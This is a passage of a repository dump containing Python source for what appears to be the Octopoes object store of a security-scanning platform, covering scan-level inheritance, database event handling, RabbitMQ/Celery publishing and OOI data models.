self.session.client.submit_transaction(ops)\n            else:\n                resulting_oois = BitRunner(bit_definition).run(source, parameters, config=config)\n            self.save_origin(origin, resulting_oois, valid_time)\n        except Exception as e:\n            logger.exception(\"Error running inference\", exc_info=e)\n            raise e\n\n    @staticmethod\n    def check_path_level(path_level: int | None, current_level: int) -> bool:\n        return path_level is not None and path_level >= current_level\n\n    def recalculate_scan_profiles(self, valid_time: datetime) -> None:\n        # fetch all scan profiles\n        all_scan_profiles = self.scan_profile_repository.list_scan_profiles(None, valid_time=valid_time)\n\n        all_declared_scan_profiles: set[DeclaredScanProfile] = set()\n        inherited_scan_profiles: dict[Reference, InheritedScanProfile] = {}\n        assigned_scan_levels: dict[Reference, ScanLevel] = {}\n        source_scan_profile_references: set[Reference] = set()\n\n        # fill profile caches\n        for scan_profile in all_scan_profiles:\n            if isinstance(scan_profile, DeclaredScanProfile):\n                all_declared_scan_profiles.add(scan_profile)\n                assigned_scan_levels[scan_profile.reference] = scan_profile.level\n                source_scan_profile_references.add(scan_profile.reference)\n            elif isinstance(scan_profile, InheritedScanProfile):\n                inherited_scan_profiles[scan_profile.reference] = scan_profile\n\n        for current_level in range(4, 0, -1):\n            # start point: all scan profiles with current level + all higher scan levels\n            start_ooi_references = {\n                profile.reference for profile in all_declared_scan_profiles if profile.level == current_level\n            } | {reference for reference, level in assigned_scan_levels.items() if level > current_level}\n            next_ooi_set = {ooi for ooi in self.ooi_repository.load_bulk(start_ooi_references, valid_time).values()}\n\n            while next_ooi_set:\n                # prepare next iteration, group oois per type\n                ooi_types = {ooi.__class__ for ooi in next_ooi_set}\n                grouped_per_type: dict[type[OOI], set[OOI]] = {\n                    ooi_type: {ooi for ooi in next_ooi_set if isinstance(ooi, ooi_type)} for ooi_type in ooi_types\n                }\n\n                temp_next_ooi_set = set()\n                for ooi_type_, current_ooi_set in grouped_per_type.items():\n                    # find paths to neighbours higher or equal than current processing level\n                    paths = get_paths_to_neighbours(ooi_type_)\n                    paths = {\n                        path\n                        for path in paths\n                        if self.check_path_level(get_max_scan_level_issuance(path.segments[0]), current_level)\n                    }\n\n                    # If there are no paths at the current level we can go the next type\n                    if not paths:\n                        continue\n\n                    # find all neighbours\n                    references = {ooi.reference for ooi in current_ooi_set}\n                    next_level = self.ooi_repository.list_neighbours(references, paths, valid_time)\n\n                    # assign scan levels to newly found oois and add to next iteration\n                    for ooi in next_level:\n                        if ooi.reference not in assigned_scan_levels:\n                            assigned_scan_levels[ooi.reference] = ScanLevel(current_level)\n                            temp_next_ooi_set.add(ooi)\n\n                logger.debug(\"Assigned scan levels [level=%i] [len=%i]\", current_level, len(temp_next_ooi_set))\n                next_ooi_set = temp_next_ooi_set\n\n        scan_level_aggregates = {i: 0 for i in range(1, 5)}\n        for scan_level in assigned_scan_levels.values():\n            scan_level_aggregates.setdefault(scan_level.value, 0)\n            scan_level_aggregates[scan_level] += 1\n\n        logger.debug(\"Assigned scan levels [len=%i]\", len(assigned_scan_levels.keys()))\n        logger.debug(json.dumps(scan_level_aggregates, indent=4))\n\n        # Save all assigned scan levels\n        update_count = 0\n        for reference, scan_level in assigned_scan_levels.items():\n            # Skip source scan profiles\n            if reference in source_scan_profile_references:\n                continue\n\n            new_scan_profile = InheritedScanProfile(reference=reference, level=scan_level)\n\n            # Save new inherited scan profile\n            if reference not in inherited_scan_profiles:\n                self.scan_profile_repository.save(None, new_scan_profile, valid_time)\n                update_count += 1\n                continue\n\n            # Diff with old scan profile\n            old_scan_profile = inherited_scan_profiles[reference]\n            if old_scan_profile.level != scan_level:\n                self.scan_profile_repository.save(old_scan_profile, new_scan_profile, valid_time)\n                update_count += 1\n\n        logger.debug(\"Updated inherited scan profiles [count=%i]\", update_count)\n\n        # Reset previously assigned scan profiles to 0\n        set_scan_profile_references = {\n            scan_profile.reference for scan_profile in all_scan_profiles if scan_profile.level > 0\n        }\n        references_to_reset = (\n            set_scan_profile_references - set(assigned_scan_levels.keys()) - source_scan_profile_references\n        )\n        for reference in references_to_reset:\n            old_scan_profile = inherited_scan_profiles[reference]\n            self.scan_profile_repository.save(old_scan_profile, EmptyScanProfile(reference=reference), valid_time)\n        logger.debug(\"Reset scan profiles [len=%i]\", len(references_to_reset))\n\n        # Assign empty scan profiles to OOI's without scan profile\n        unset_scan_profile_references = (\n            self.ooi_repository.list_oois_without_scan_profile(valid_time)\n            - set(assigned_scan_levels.keys())\n            - source_scan_profile_references\n            - references_to_reset\n        )\n        for reference in unset_scan_profile_references:\n            self.scan_profile_repository.save(None, EmptyScanProfile(reference=reference), valid_time)\n        logger.debug(\n            \"Assigned empty scan profiles to OOI's without scan profile [len=%i]\", len(unset_scan_profile_references)\n        )\n\n    def process_event(self, event: DBEvent) -> None:\n        # handle event\n        event_handler_name = f\"_on_{event.operation_type.value}_{event.entity_type}\"\n        handler: Callable[[DBEvent], None] | None = getattr(self, event_handler_name)\n        if handler is not None:\n            handler(event)\n\n        logger.debug(\n            \"Processed event [primary_key=%s] [operation_type=%s]\",\n            format_id_short(event.primary_key),\n            event.operation_type,\n        )\n\n    # OOI events\n    def _on_create_ooi(self, event: OOIDBEvent) -> None:\n        if event.new_data is None:\n            raise ValueError(\"[_on_create_ooi] Create event new_data should not be None\")\n\n        ooi = event.new_data\n\n        # keep old scan profile, or create new scan profile\n        try:\n            self.scan_profile_repository.get(ooi.reference, event.valid_time)\n        except ObjectNotFoundException:\n            self.scan_profile_repository.save(\n                None, EmptyScanProfile(reference=ooi.reference), valid_time=event.valid_time\n            )\n\n        # analyze bit definitions\n        bit_definitions = get_bit_definitions()\n        for bit_id, bit_definition in bit_definitions.items():\n            # attach bit instances\n            if isinstance(ooi, bit_definition.consumes):\n                bit_instance = Origin(origin_type=OriginType.INFERENCE, method=bit_id, source=ooi.reference)\n                self.origin_repository.save(bit_instance, event.valid_time)\n\n            # attach bit parameters\n            for additional_param in bit_definition.parameters:\n                if isinstance(ooi, additional_param.ooi_type):\n                    path_parts = additional_param.relation_path.split(\".\")\n                    try:\n                        tree = self.ooi_repository.get_tree(\n                            ooi.reference, valid_time=event.valid_time, depth=len(path_parts)\n                        )\n                    except ObjectNotFoundException:\n                        # ooi is already removed, probably in parallel\n                        return\n                    bit_ancestor = find_relation_in_tree(additional_param.relation_path, tree)\n\n                    if bit_ancestor:\n                        origin = Origin(\n                            origin_type=OriginType.INFERENCE, method=bit_id, source=bit_ancestor[0].reference\n                        )\n                        origin_parameter = OriginParameter(origin_id=origin.id, reference=ooi.reference)\n                        self.origin_parameter_repository.save(origin_parameter, event.valid_time)\n\n    def _on_update_ooi(self, event: OOIDBEvent) -> None:\n        if event.new_data is None:\n            raise ValueError(\"[_on_update_ooi] Update event new_data should not be None\")\n\n        if isinstance(event.new_data, Config):\n            relevant_bit_ids = [\n                bit.id for bit in get_bit_definitions().values() if bit.config_ooi_relation_path is not None\n            ]\n            inference_origins = self.origin_repository.list_origins(event.valid_time, method=relevant_bit_ids)\n        else:\n            inference_origins = self.origin_repository.list_origins(event.valid_time, source=event.new_data.reference)\n            inference_params = self.origin_parameter_repository.list_by_reference(\n                event.new_data.reference, valid_time=event.valid_time\n            )\n            for inference_param in inference_params:\n                inference_origins.append(self.origin_repository.get(inference_param.origin_id, event.valid_time))\n\n            inference_origins = [o for o in inference_origins if o.origin_type == OriginType.INFERENCE]\n        for inference_origin in inference_origins:\n            self._run_inference(inference_origin, event.valid_time)\n\n    def _on_delete_ooi(self, event: OOIDBEvent) -> None:\n        if event.old_data is None:\n            raise ValueError(\"[_on_delete_ooi] Update event old_data should not be None\")\n\n        reference = event.old_data.reference\n\n        # delete related origins to which it is a source\n        origins = self.origin_repository.list_origins(event.valid_time, source=reference)\n        for origin in origins:\n            self.origin_repository.delete(origin, event.valid_time)\n\n        # delete related origin parameters\n        origin_parameters = self.origin_parameter_repository.list_by_reference(reference, event.valid_time)\n        for origin_parameter in origin_parameters:\n            self.origin_parameter_repository.delete(origin_parameter, event.valid_time)\n\n        # delete scan profile\n        try:\n            scan_profile = self.scan_profile_repository.get(reference, event.valid_time)\n            self.scan_profile_repository.delete(scan_profile, event.valid_time)\n        except ObjectNotFoundException:\n            pass\n\n    # Origin events\n    def _on_create_origin(self, event: OriginDBEvent) -> None:\n        if event.new_data is None:\n            raise ValueError(\"[_on_create_origin] Create event new_data should not be None\")\n\n        if event.new_data.origin_type == OriginType.INFERENCE:\n            self._run_inference(event.new_data, event.valid_time)\n\n    def _on_update_origin(self, event: OriginDBEvent) -> None:\n        if event.new_data is None or event.old_data is None:\n            raise ValueError(\"[_on_update_origin] Update event new_data and old_data should not be None\")\n\n        dereferenced_oois = event.old_data - event.new_data\n        for reference in dereferenced_oois:\n            self._delete_ooi(reference, event.valid_time)\n\n    def _on_delete_origin(self, event: OriginDBEvent) -> None:\n        if event.old_data is None:\n            raise ValueError(\"[_on_delete_origin] Delete event old_data should not be None\")\n\n        for reference in event.old_data.result:\n            self._delete_ooi(reference, event.valid_time)\n\n    # Origin parameter events\n    def _on_create_origin_parameter(self, event: OriginParameterDBEvent) -> None:\n        if event.new_data is None:\n            raise ValueError(\"[_on_create_origin_parameter] Create event new_data should not be None\")\n\n        # Run the bit/origin\n        try:\n            origin = self.origin_repository.get(event.new_data.origin_id, event.valid_time)\n            self._run_inference(origin, event.valid_time)\n        except ObjectNotFoundException:\n            pass\n\n    def _on_update_origin_parameter(self, event: OriginParameterDBEvent) -> None:\n        # update of origin_parameter is not possible, since both fields are unique\n        ...\n\n    def _on_delete_origin_parameter(self, event: OriginParameterDBEvent) -> None:\n        if event.old_data is None:\n            raise ValueError(\"[_on_delete_origin_parameter] Delete event old_data should not be None\")\n\n        # Run the bit/origin\n        try:\n            origin = self.origin_repository.get(event.old_data.origin_id, event.valid_time)\n            self._run_inference(origin, event.valid_time)\n        except ObjectNotFoundException:\n            pass\n\n    def _run_inferences(self, event: ScanProfileDBEvent) -> None:\n        for inference_origin in self.origin_repository.list_origins(\n            event.valid_time, source=event.reference, origin_type=OriginType.INFERENCE\n        ):\n            self._run_inference(inference_origin, event.valid_time)\n\n    # Scan profile events\n    def _on_create_scan_profile(self, event: ScanProfileDBEvent) -> None:\n        self._run_inferences(event)\n\n    def _on_update_scan_profile(self, event: ScanProfileDBEvent) -> None:\n        self._run_inferences(event)\n\n    def _on_delete_scan_profile(self, event: ScanProfileDBEvent) -> None:\n        self._run_inferences(event)\n\n    def list_random_ooi(\n        self, valid_time: datetime, amount: int = 1, scan_levels: set[ScanLevel] | None = None\n    ) -> list[OOI]:\n        return self.ooi_repository.list_random(valid_time, amount, scan_levels)\n\n    def get_scan_profile_inheritance(\n        self, reference: Reference, valid_time: datetime, inheritance_chain: list[InheritanceSection]\n    ) -> list[InheritanceSection]:\n        neighbour_cache = self.ooi_repository.get_neighbours(reference, valid_time)\n\n        last_inheritance_level = inheritance_chain[-1].level\n        visited = {inheritance.reference for inheritance in inheritance_chain}\n\n        # load scan profiles for all neighbours\n        neighbours_: list[OOI] = [\n            neighbour\n            for neighbours in neighbour_cache.values()\n            for neighbour in neighbours\n            if neighbour.reference not in visited  # dont walk back over the path we came from\n        ]\n        self._populate_scan_profiles(neighbours_, valid_time)\n\n        # collect all inheritances\n        inheritances = []\n        for path, neighbours in neighbour_cache.items():\n            segment = path.segments[0]\n            for neighbour in neighbours:\n                segment_inheritance = get_max_scan_level_inheritance(segment)\n                if segment_inheritance is None or neighbour.reference in visited:\n                    continue\n\n                if neighbour.scan_profile is None:\n                    raise ValueError(\"neighbour scan_profile is None\")\n\n                if neighbour.scan_profile.level < last_inheritance_level:\n                    continue\n\n                inherited_level = min(get_max_scan_level_inheritance(segment) or 0, neighbour.scan_profile.level)\n                inheritances.append(\n                    InheritanceSection(\n                        segment=str(segment),\n                        reference=neighbour.reference,\n                        level=inherited_level,\n                        scan_profile_type=neighbour.scan_profile.scan_profile_type,\n                    )\n                )\n\n        # sort per ooi, per level, ascending\n        inheritances.sort(key=lambda x: x.level)\n\n        # if any declared, return highest straight away\n        declared_inheritances = [\n            inheritance for inheritance in inheritances if inheritance.scan_profile_type == ScanProfileType.DECLARED\n        ]\n        if declared_inheritances:\n            return inheritance_chain + [declared_inheritances[-1]]\n\n        # group by ooi, as the list is already sorted, it will contain the highest inheritance\n        highest_inheritance_per_neighbour = {\n            inheritance.reference: inheritance for inheritance in reversed(inheritances)\n        }\n\n        # traverse depth-first, highest levels first\n        for inheritance in sorted(highest_inheritance_per_neighbour.values(), key=lambda x: x.level, reverse=True):\n            expl = self.get_scan_profile_inheritance(\n                inheritance.reference, valid_time, inheritance_chain + [inheritance]\n            )\n            if expl[-1].scan_profile_type == ScanProfileType.DECLARED:\n                return expl\n\n        return inheritance_chain\n\n    def recalculate_bits(self) -> int:\n        valid_time = datetime.now(timezone.utc)\n        bit_counter: Counter[str] = Counter()\n\n        # loop over all bit definitions and add origins and origin params\n        bit_definitions = get_bit_definitions()\n        for bit_id, bit_definition in bit_definitions.items():\n            # loop over all oois that are consumed by the bit\n            for ooi in self.ooi_repository.list_oois_by_object_types({bit_definition.consumes}, valid_time=valid_time):\n                if not isinstance(ooi, bit_definition.consumes):\n                    logger.exception(\"Requested OOI type not met\")\n                    raise ObjectNotFoundException(\"Requested OOI type not met\")\n\n                # insert, if not exists\n                bit_instance = Origin(origin_type=OriginType.INFERENCE, method=bit_id, source=ooi.reference)\n                try:\n                    self.origin_repository.get(bit_instance.id, valid_time)\n                except ObjectNotFoundException:\n                    self.origin_repository.save(bit_instance, valid_time)\n                    bit_counter.update({bit_instance.method})\n\n                for param_def in bit_definition.parameters:\n                    path = Path.parse(f\"{param_def.ooi_type.get_object_type()}.{param_def.relation_path}\").reverse()\n\n                    param_oois = self.ooi_repository.list_related(ooi, path, valid_time=valid_time)\n                    for param_ooi in param_oois:\n                        param = OriginParameter(origin_id=bit_instance.id, reference=param_ooi.reference)\n                        self.origin_parameter_repository.save(param, valid_time)\n\n        # TODO: remove all Origins and Origin Parameters, which are no longer in use\n\n        # rerun all existing bits\n        origins = self.origin_repository.list_origins(valid_time, origin_type=OriginType.INFERENCE)\n        for origin in origins:\n            self._run_inference(origin, valid_time)\n            bit_counter.update({origin.method})\n        return sum(bit_counter.values())\n\n    def health(self) -> ServiceHealth:\n        try:\n            xtdb_status = self.session.client.status()\n            xtdb_health = ServiceHealth(\n                service=\"xtdb\", healthy=True, version=xtdb_status.version, additional=xtdb_status\n            )\n        except HTTPError as ex:\n            xtdb_health = ServiceHealth(\n                service=\"xtdb\", healthy=False, additional=\"Cannot connect to XTDB at. Service possibly down\"\n            )\n            logger.exception(ex)\n        return ServiceHealth(\n            service=\"octopoes\", healthy=xtdb_health.healthy, version=__version__, results=[xtdb_health]\n        )\n\n    def commit(self, sync: bool = False):\n        self.ooi_repository.commit()\n        self.origin_repository.commit()\n        self.origin_parameter_repository.commit()\n        self.scan_profile_repository.commit()\n        if sync and self.session:\n            self.session.sync()\n"
  },
  {
    "path": "octopoes/octopoes/events/__init__.py",
    "content": ""
  },
  {
    "path": "octopoes/octopoes/events/events.py",
    "content": "from datetime import datetime\nfrom enum import Enum\nfrom typing import Annotated, Literal\n\nfrom pydantic import BaseModel, Field\n\nfrom octopoes.models import Reference, ScanProfile\nfrom octopoes.models.origin import Origin, OriginParameter\nfrom octopoes.models.types import OOIType\n\n\nclass OperationType(Enum):\n    CREATE = \"create\"\n    UPDATE = \"update\"\n    DELETE = \"delete\"\n\n\nclass DBEvent(BaseModel):\n    entity_type: str\n    operation_type: OperationType\n    valid_time: datetime\n    client: str\n\n    @property\n    def primary_key(self) -> str:\n        return \"\"\n\n\nclass OOIDBEvent(DBEvent):\n    entity_type: Literal[\"ooi\"] = \"ooi\"\n    old_data: OOIType | None = None\n    new_data: OOIType | None = None\n\n    @property\n    def primary_key(self) -> str:\n        # There doesn't seem to be an easy way to tell mypy that if new_data is\n        # None then old_data is never None.\n        return self.new_data.primary_key if self.new_data else self.old_data.primary_key  # type: ignore[union-attr]\n\n\nclass OriginDBEvent(DBEvent):\n    entity_type: Literal[\"origin\"] = \"origin\"\n    old_data: Origin | None = None\n    new_data: Origin | None = None\n\n    @property\n    def primary_key(self) -> str:\n        # There doesn't seem to be an easy way to tell mypy that if new_data is\n        # None then old_data is never None.\n        return self.new_data.id if self.new_data else self.old_data.id  # type: ignore[union-attr]\n\n\nclass OriginParameterDBEvent(DBEvent):\n    entity_type: Literal[\"origin_parameter\"] = \"origin_parameter\"\n    old_data: OriginParameter | None = None\n    new_data: OriginParameter | None = None\n\n    @property\n    def primary_key(self) -> str:\n        # There doesn't seem to be an easy way to tell mypy that if new_data is\n        # None then old_data is never None.\n        return self.new_data.id if self.new_data else self.old_data.id  # type: ignore[union-attr]\n\n\nclass ScanProfileDBEvent(DBEvent):\n    entity_type: Literal[\"scan_profile\"] = \"scan_profile\"\n    reference: Reference\n    old_data: ScanProfile | None = None\n    new_data: ScanProfile | None = None\n\n    @property\n    def primary_key(self) -> Reference:\n        return self.reference\n\n\nDBEventType = Annotated[\n    OOIDBEvent | OriginDBEvent | OriginParameterDBEvent | ScanProfileDBEvent, Field(discriminator=\"entity_type\")\n]\n"
  },
  {
    "path": "octopoes/octopoes/events/manager.py",
    "content": "import json\nimport threading\nimport uuid\nfrom collections.abc import Callable\n\nimport pika\nimport structlog\nfrom celery import Celery\nfrom pika.adapters.blocking_connection import BlockingChannel\nfrom pika.exceptions import ChannelWrongStateError, StreamLostError\nfrom pydantic import BaseModel\n\nfrom octopoes.events.events import DBEvent, OperationType, ScanProfileDBEvent\nfrom octopoes.models import ScanProfile, format_id_short\n\nlogger = structlog.get_logger(__name__)\n\n\nclass AbstractOOI(BaseModel):\n    primary_key: str\n    object_type: str\n    scan_profile: ScanProfile\n\n\nclass ScanProfileMutation(BaseModel):\n    operation: OperationType\n    primary_key: str\n    value: AbstractOOI | None = None\n    client_id: str\n\n\nthread_local = threading.local()\n\n\ndef get_rabbit_channel(queue_uri: str) -> BlockingChannel:\n    try:\n        if thread_local.rabbit_channel.is_closed or thread_local.rabbit_channel.connection.is_closed:\n            raise ConnectionError(\"RabbitMQ channel is closed, establishing a new connection...\")\n\n        return thread_local.rabbit_channel\n    except (AttributeError, ConnectionError, StreamLostError):\n        connection = pika.BlockingConnection(pika.URLParameters(queue_uri))\n        logger.info(\"Connected to RabbitMQ\")\n\n        thread_local.rabbit_channel = connection.channel()\n        thread_local.rabbit_channel.queue_declare(queue=\"create_events\", durable=True)\n\n        return thread_local.rabbit_channel\n\n\nclass EventManager:\n    def __init__(\n        self,\n        client: str,\n        queue_uri: str,\n        celery_app: Celery,\n        celery_queue_name: str,\n        channel_factory: Callable[[str], BlockingChannel] = get_rabbit_channel,\n    ):\n        self.client = client\n        self.queue_uri = queue_uri\n        self.celery_app = celery_app\n        self.celery_queue_name = celery_queue_name\n        self.channel_factory = channel_factory\n\n        self._try_connect()\n\n    def publish(self, event: DBEvent) -> None:\n        try:\n            self._publish(event)\n        except (StreamLostError, ChannelWrongStateError):  # Retry publishing once on connection issues\n            logger.exception(\"Failed publishing event, retrying...\")\n\n            try:\n                self._connect()\n                self._publish(event, push_to_celery=False)\n            except StreamLostError:\n                logger.exception(\"Failed publishing event again\")\n                raise\n\n    def _publish(self, event: DBEvent, push_to_celery=True) -> None:\n        if push_to_celery:\n            # schedule celery event processor\n            self.celery_app.send_task(\n                \"octopoes.tasks.tasks.handle_event\",\n                (event.model_dump(mode=\"json\"),),\n                queue=self.celery_queue_name,\n                task_id=str(uuid.uuid4()),\n            )\n\n            logger.debug(\n                \"Published handle_event task [operation_type=%s] [primary_key=%s] [client=%s]\",\n                event.operation_type,\n                format_id_short(event.primary_key),\n                event.client,\n            )\n\n        if not isinstance(event, ScanProfileDBEvent):\n            return\n\n        # publish mutations\n        mutation = ScanProfileMutation(\n            operation=event.operation_type, primary_key=event.primary_key, client_id=event.client\n        )\n\n        if event.operation_type != OperationType.DELETE:\n            mutation.value = AbstractOOI(\n                primary_key=event.new_data.reference,  # type: ignore[union-attr]\n                object_type=event.new_data.reference.class_,  # type: ignore[union-attr]\n                scan_profile=event.new_data,\n            )\n\n        payload = json.dumps(mutation.model_dump(mode=\"json\")).encode(\"utf-8\")\n\n        self.channel.basic_publish(\n            exchange=\"\",\n            routing_key=\"scan_profile_mutations\",\n            body=payload,\n            properties=pika.BasicProperties(delivery_mode=pika.DeliveryMode.Persistent),\n        )\n\n        level = mutation.value.scan_profile.level if mutation.value is not None else None\n        logger.debug(\n            \"Published scan profile mutation [operation_type=%s] [primary_key=%s] [level=%s]\",\n            mutation.operation,\n            format_id_short(event.primary_key),\n            level,\n        )\n\n    def _try_connect(self):\n        try:\n            self._connect()\n        except StreamLostError:  # Retry connecting once on connection issues\n            logger.exception(\"Failed connecting to rabbitmq, retrying...\")\n\n            try:\n                self._connect()\n            except StreamLostError:\n                logger.exception(\"Failed connecting to rabbitmq again\")\n                raise\n\n    def _connect(self) -> None:\n        self.channel = self.channel_factory(self.queue_uri)\n        self.channel.queue_declare(queue=\"scan_profile_mutations\", durable=True)\n"
  },
  {
    "path": "octopoes/octopoes/models/__init__.py",
    "content": "from __future__ import annotations\n\nfrom enum import Enum, IntEnum\nfrom typing import Any, ClassVar, Literal, TypeAlias, TypeVar\n\nfrom pydantic import BaseModel, GetCoreSchemaHandler, RootModel\nfrom pydantic_core import CoreSchema, core_schema\nfrom pydantic_core.core_schema import ValidationInfo\n\n\nclass Reference(str):\n    @classmethod\n    def parse(cls, ref_str: str) -> tuple[str, str]:\n        object_type, natural_key_parts = ref_str.split(\"|\", 1)\n        return object_type, natural_key_parts\n\n    @property\n    def class_(self) -> str:\n        return self.parse(self)[0]\n\n    @property\n    def natural_key(self) -> str:\n        return self.parse(self)[1]\n\n    @property\n    def class_type(self) -> type[OOI]:\n        from octopoes.models.types import type_by_name\n\n        object_type, _ = self.parse(self)\n        return type_by_name(object_type)\n\n    @property\n    def tokenized(self) -> PrimaryKeyToken:\n        return self.class_type.get_tokenized_primary_key(self.natural_key)\n\n    @property\n    def human_readable(self) -> str:\n        return self.class_type.format_reference_human_readable(self)\n\n    @classmethod\n    def __get_pydantic_core_schema__(cls, source_type: Any, handler: GetCoreSchemaHandler) -> CoreSchema:\n        return core_schema.with_info_after_validator_function(cls.validate, core_schema.str_schema())\n\n    @classmethod\n    def validate(cls, v: str, info: ValidationInfo) -> Any:\n        if not isinstance(v, str):\n            raise TypeError(\"string required\")\n        return cls(str(v))\n\n    def __repr__(self) -> str:\n        return f\"Reference({super().__repr__()})\"\n\n    @classmethod\n    def from_str(cls, ref_str: str) -> Reference:\n        return cls(ref_str)\n\n\nclass ScanLevel(IntEnum):\n    L0 = 0\n    L1 = 1\n    L2 = 2\n    L3 = 3\n    L4 = 4\n\n    def __str__(self) -> str:\n        return str(self.value)\n\n\nclass ScanProfileType(Enum):\n    DECLARED = \"declared\"\n    INHERITED = \"inherited\"\n    EMPTY = \"empty\"\n\n\nclass ScanProfileBase(BaseModel):\n    scan_profile_type: str\n    reference: Reference\n    level: ScanLevel\n    user_id: int | None = None\n\n    def __eq__(self, other):\n        if isinstance(other, ScanProfileBase) and self.__class__ == other.__class__:\n            return self.reference == other.reference and self.level == other.level\n        return False\n\n    def __hash__(self):\n        return hash(self.reference)\n\n    @property\n    def human_readable(self) -> str:\n        return f\"L{self.level}\"\n\n\nclass EmptyScanProfile(ScanProfileBase):\n    scan_profile_type: Literal[\"empty\"] = ScanProfileType.EMPTY.value\n    level: ScanLevel = ScanLevel.L0\n\n\nclass DeclaredScanProfile(ScanProfileBase):\n    scan_profile_type: Literal[\"declared\"] = ScanProfileType.DECLARED.value\n\n\nclass InheritedScanProfile(ScanProfileBase):\n    scan_profile_type: Literal[\"inherited\"] = ScanProfileType.INHERITED.value\n\n\nScanProfile = EmptyScanProfile | InheritedScanProfile | DeclaredScanProfile\n\n\nclass OOI(BaseModel):\n    object_type: str\n\n    scan_profile: ScanProfile | None = None\n    user_id: int | None = None\n\n    _natural_key_attrs: ClassVar[list[str]] = []\n    _reverse_relation_names: ClassVar[dict[str, str]] = {}\n    _information_value: ClassVar[list[str]] = []\n    _traversable: ClassVar[bool] = True\n\n    primary_key: str = \"\"\n\n    def model_post_init(self, __context: Any) -> None:  # noqa: F841\n        self.primary_key = self.primary_key or f\"{self.get_object_type()}|{self.natural_key}\"\n\n    def __str__(self) -> str:\n        return self.primary_key\n\n    @classmethod\n    def get_object_type(cls) -> str:\n        return cls.__name__\n\n    @classmethod\n    def strict_subclasses(cls) -> list[type[OOI]]:\n        \"\"\"FastAPI creates duplicate class instances when parsing return types.\"\"\"\n\n        return [subclass for subclass in cls.__subclasses__() if subclass.__name__ != cls.__name__]\n\n    # FIXME: Legacy usage in Rocky/Boefjes\n    @classmethod\n    def get_ooi_type(cls) -> str:\n        return cls.get_object_type()\n\n    # FIXME: Legacy usage in Rocky/Boefjes\n    @property\n    def ooi_type(self) -> str:\n        return self.get_object_type()\n\n    @property\n    def human_readable(self) -> str:\n        return self.format_reference_human_readable(self.reference)\n\n    @property\n    def natural_key(self) -> str:\n        parts = []\n\n        for attr in self._natural_key_attrs:\n            part = getattr(self, attr)\n            if part is None:\n                part = \"\"\n            if isinstance(part, Reference):\n                part = part.natural_key\n            elif isinstance(part, Enum):\n                part = str(part.value)\n            else:\n                part = str(part)\n\n            parts.append(part)\n\n        return \"|\".join(parts)\n\n    def get_information_id(self) -> str:\n        def format_attr(value_: Any) -> str:\n            if isinstance(value_, Enum):\n                return value_.value\n            return value_\n\n        parts = [self.__class__.__name__]\n        for attr in self._information_value:\n            value = self.__getattribute__(attr)\n            parts.append(format_attr(value))\n        return \"|\".join(map(str, parts))\n\n    @property\n    def reference(self) -> Reference:\n        return Reference(self.primary_key)\n\n    @classmethod\n    def get_reverse_relation_name(cls, attr: str) -> str:\n        return cls._reverse_relation_names.get(attr, f\"{cls.get_object_type()}_{attr}\")\n\n    @classmethod\n    def get_tokenized_primary_key(cls, natural_key: str) -> PrimaryKeyToken:\n        token_tree = build_token_tree(cls)\n        natural_key_parts = natural_key.split(\"|\")\n\n        def hydrate(node: dict[str, dict | str]) -> dict | str:\n            for key, value in node.items():\n                if isinstance(value, dict):\n                    node[key] = hydrate(value)\n                else:\n                    node[key] = natural_key_parts.pop(0) if natural_key_parts else value\n            return node\n\n        return PrimaryKeyToken.model_validate(hydrate(token_tree))\n\n    @classmethod\n    def format_reference_human_readable(cls, reference: Reference) -> str:\n        return str(reference)\n\n    @classmethod\n    def traversable(cls) -> bool:\n        return cls._traversable\n\n    def serialize(self) -> SerializedOOI:\n        serialized_oois = {}\n        model_fields = self.__class__.model_fields\n        for key, value in self:\n            if key not in model_fields:\n                continue\n            serialized_oois[key] = self._serialize_value(value, model_fields[key].is_required())\n        return serialized_oois\n\n    def _serialize_value(self, value: Any, required: bool) -> SerializedOOIValue:\n        if isinstance(value, list):\n            return [self._serialize_value(item, required) for item in value]\n        if isinstance(value, Reference):\n            try:\n                return value.tokenized.root\n            except AttributeError:\n                if required:\n                    raise\n\n                return None\n        if isinstance(value, Enum):\n            return value.value\n        if isinstance(value, int | float):\n            return value\n        return str(value)\n\n    def __hash__(self) -> int:\n        return hash(self.primary_key)\n\n\nOOIClassType = TypeVar(\"OOIClassType\")\n\n\ndef format_id_short(id_: str) -> str:\n    \"\"\"Format the id in a short way. > 33 characters, interpolate with ...\"\"\"\n    if len(id_) > 33:\n        return f\"{id_[:15]}...{id_[-15:]}\"\n    return id_\n\n\nclass PrimaryKeyToken(RootModel):\n    root: dict[str, str | PrimaryKeyToken]\n\n    def __getattr__(self, item: str) -> Any:\n        return self.root[item]\n\n    def __getitem__(self, item: str) -> Any:\n        return self.root[item]\n\n\nPrimaryKeyToken.model_rebuild()\n\n\ndef get_leaf_subclasses(cls: type[OOI]) -> set[type[OOI]]:\n    if not cls.strict_subclasses():\n        return {cls}\n    child_sets = [get_leaf_subclasses(child_cls) for child_cls in cls.strict_subclasses()]\n    return set().union(*child_sets)\n\n\ndef build_token_tree(ooi_class: type[OOI]) -> dict[str, dict | str]:\n    tokens: dict[str, dict | str] = {}\n\n    for attribute in ooi_class._natural_key_attrs:\n        field = ooi_class.model_fields[attribute]\n\n        if field.annotation in (Reference, Reference | None):\n            from octopoes.models.types import related_object_type\n\n            related_class = related_object_type(field)\n            trees = [build_token_tree(related_class) for related_class in get_leaf_subclasses(related_class)]\n\n            # combine trees\n            tokens[attribute] = {key: value_ for tree in trees for key, value_ in tree.items()}\n        else:\n            tokens[attribute] = field.default\n    return tokens\n\n\nSerializedOOIValue: TypeAlias = None | str | int | float | dict[str, str | PrimaryKeyToken] | list[\"SerializedOOIValue\"]\nSerializedOOI: TypeAlias = dict[str, SerializedOOIValue]\n"
  },
  {
    "path": "octopoes/octopoes/models/datetime.py",
    "content": "from datetime import datetime\n\nfrom pydantic.v1.datetime_parse import parse_datetime\n\n\ndef _validate_timezone_aware_datetime(value: datetime) -> datetime:\n    parsed = parse_datetime(value)\n    if parsed.tzinfo is None or parsed.tzinfo.utcoffset(parsed) is None:\n        raise ValueError(f\"{parsed} is not timezone aware\")\n    return parsed\n"
  },
  {
    "path": "octopoes/octopoes/models/exception.py",
    "content": "from __future__ import annotations\n\n\nclass ObjectNotFoundException(Exception):\n    def __init__(self, value: str):\n        self.value = value\n\n\nclass TypeNotFound(ValueError):\n    pass\n"
  },
  {
    "path": "octopoes/octopoes/models/explanation.py",
    "content": "from pydantic import BaseModel, ConfigDict\n\nfrom octopoes.models import Reference, ScanProfileType\n\n\nclass InheritanceSection(BaseModel):\n    reference: Reference\n    level: int\n    segment: str | None = None\n    scan_profile_type: ScanProfileType\n    model_config = ConfigDict(arbitrary_types_allowed=True)\n"
  },
